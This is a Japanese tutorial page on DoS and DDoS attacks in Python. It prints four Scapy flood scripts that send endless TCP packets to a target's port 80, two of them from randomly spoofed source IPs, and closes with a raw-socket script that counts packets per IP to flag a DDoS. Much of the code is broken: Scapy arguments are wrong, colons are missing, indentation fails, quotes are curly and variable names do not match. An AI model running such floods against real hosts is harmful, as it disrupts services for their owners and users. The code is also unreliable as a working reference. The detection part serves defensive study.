Python-penetration-testing-dos-and-ddos-attack

提供:Dev Guides
移動先:案内検索

DoSおよびDDoS攻撃

この章では、DoSおよびDdoS攻撃について学び、それらを検出する方法を理解します。

電子商取引業界のブームにより、Webサーバーは攻撃を受けやすくなり、ハッカーの標的になりやすくなりました。 ハッカーは通常、2種類の攻撃を試みます-

  • DoS(サービス拒否)
  • DDoS(分散型サービス拒否)

DoS(サービス拒否)攻撃

サービス拒否(DoS)攻撃は、ネットワークリソースを利用できないようにするハッカーによる試みです。 通常、インターネットに接続されているホストを一時的または無期限に中断します。 これらの攻撃は、通常、銀行、クレジットカード決済ゲートウェイなどのミッションクリティカルなWebサーバーでホストされているサービスを標的としています。

DoS攻撃の症状

  • 異常に遅いネットワークパフォーマンス。
  • 特定のWebサイトが利用できない。
  • Webサイトにアクセスできない。
  • 受信したスパムメールの数の劇的な増加。
  • ウェブまたはインターネットサービスへの長期的なアクセス拒否。 *特定のWebサイトが利用できない。

DoS攻撃の種類とそのPython実装

DoS攻撃は、データリンク、ネットワーク、またはアプリケーション層で実装できます。 さまざまな種類のDoS攻撃について学びましょう&; Pythonでの実装-

シングルIPシングルポート

単一のIPを使用して単一のポート番号から多数のパケットがWebサーバーに送信されます。 Webサーバーの動作を確認するために使用される低レベルの攻撃です。 Pythonでの実装は、Scapyを使用して実行できます。 次のPythonスクリプトは、シングルIPシングルポートDoS攻撃を実装するのに役立ちます-

from scapy.all import*
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1/TCP1
   send(pkt, inter = .001)

   print ("packet sent ", i)
      i = i + 1

実行時に、上記のスクリプトは次の3つのことを要求します-

  • ソースおよびターゲットのIPアドレス。
  • 送信元ポート番号のIPアドレス。 *次に、その動作を確認するためにサーバーに大量のパケットを送信します。

シングルIPマルチポート

単一のIPを使用して複数のポートから多数のパケットがWebサーバーに送信されます。 Pythonでの実装は、Scapyを使用して実行できます。 次のpythonスクリプトは、単一IP複数ポートDoS攻撃の実装に役立ちます-

from scapy.all import*
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1/TCP1
      send(pkt, inter = .001)

      print ("packet sent ", i)
         i = i + 1

複数のIPシングルポート

複数のIPを使用して、単一のポート番号から多数のパケットがWebサーバーに送信されます。 Pythonでの実装は、Scapyを使用して実行できます。 次のPythonスクリプトは、単一IP複数ポートDoS攻撃を実装しています-

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”

   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1/TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

複数IP複数ポート

多数のパケットが、複数のIPを使用して複数のポートからWebサーバーに送信されます。 Pythonでの実装は、Scapyを使用して実行できます。 次のPythonスクリプトは、複数IPの複数ポートDoS攻撃の実装に役立ちます-

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d

   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1/TCP1
      send(pkt,inter = .001)

      print ("packet sent ", i)
         i = i + 1

DDoS(分散型サービス拒否)攻撃

分散型サービス拒否(DDoS)攻撃は、複数のソースから生成された大量のトラフィックでオンラインサービスまたはWebサイトを過負荷にすることにより、オンラインサービスまたはWebサイトを利用不能にする試みです。

1つのコンピューターと1つのインターネット接続を使用してターゲットリソースをパケットでフラッディングするサービス拒否(DoS)攻撃とは異なり、DDoS攻撃は多くのコンピューターと多くのインターネット接続を使用します。 。 大規模なボリュームDDoS攻撃は、1秒あたり数十ギガビット(さらには数百ギガビット)で測定されるトラフィックを生成できます。 詳細はlink:/ethical hacking/ethical hacking ddos​​ attack [https://www.finddevguides.com/ethical_hacking/ethical_hacking_ddos_attacks]で読むことができます。

Pythonを使用したDDoSの検出

実際、DDoS攻撃は、トラフィックを送信しているホストが偽のホストまたは実際のホストであることがわからないため、検出が少し困難です。 以下に示すPythonスクリプトは、DDoS攻撃の検出に役立ちます。

まず、必要なライブラリをインポートしましょう-

import socket
import struct

from datetime import datetime

ここで、前のセクションでも作成したようにソケットを作成します。

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

空の辞書を使用します-

dict = {}

次のコード行は、追加モードでのDDoS攻撃の詳細を含むテキストファイルを開きます。

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

次のコード行を使用すると、プログラムが実行されるたびに現在の時刻が書き込まれます。

file_txt.writelines(t1)
file_txt.writelines("\n")

ここで、特定のIPからのヒットを想定する必要があります。 ここでは、特定のIPが15回以上ヒットしている場合、攻撃であると想定しています。

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

次のコード行は、IPが辞書に存在するかどうかを確認します。 存在する場合は、1増加します。

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

コードの次の行は、冗長性を削除するために使用されます。

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

上記のスクリプトを実行した後、結果をテキストファイルで取得します。 スクリプトによると、IPが15回以上ヒットすると、そのIPアドレスとともにDDoS攻撃が検出されるため、IPが出力されます。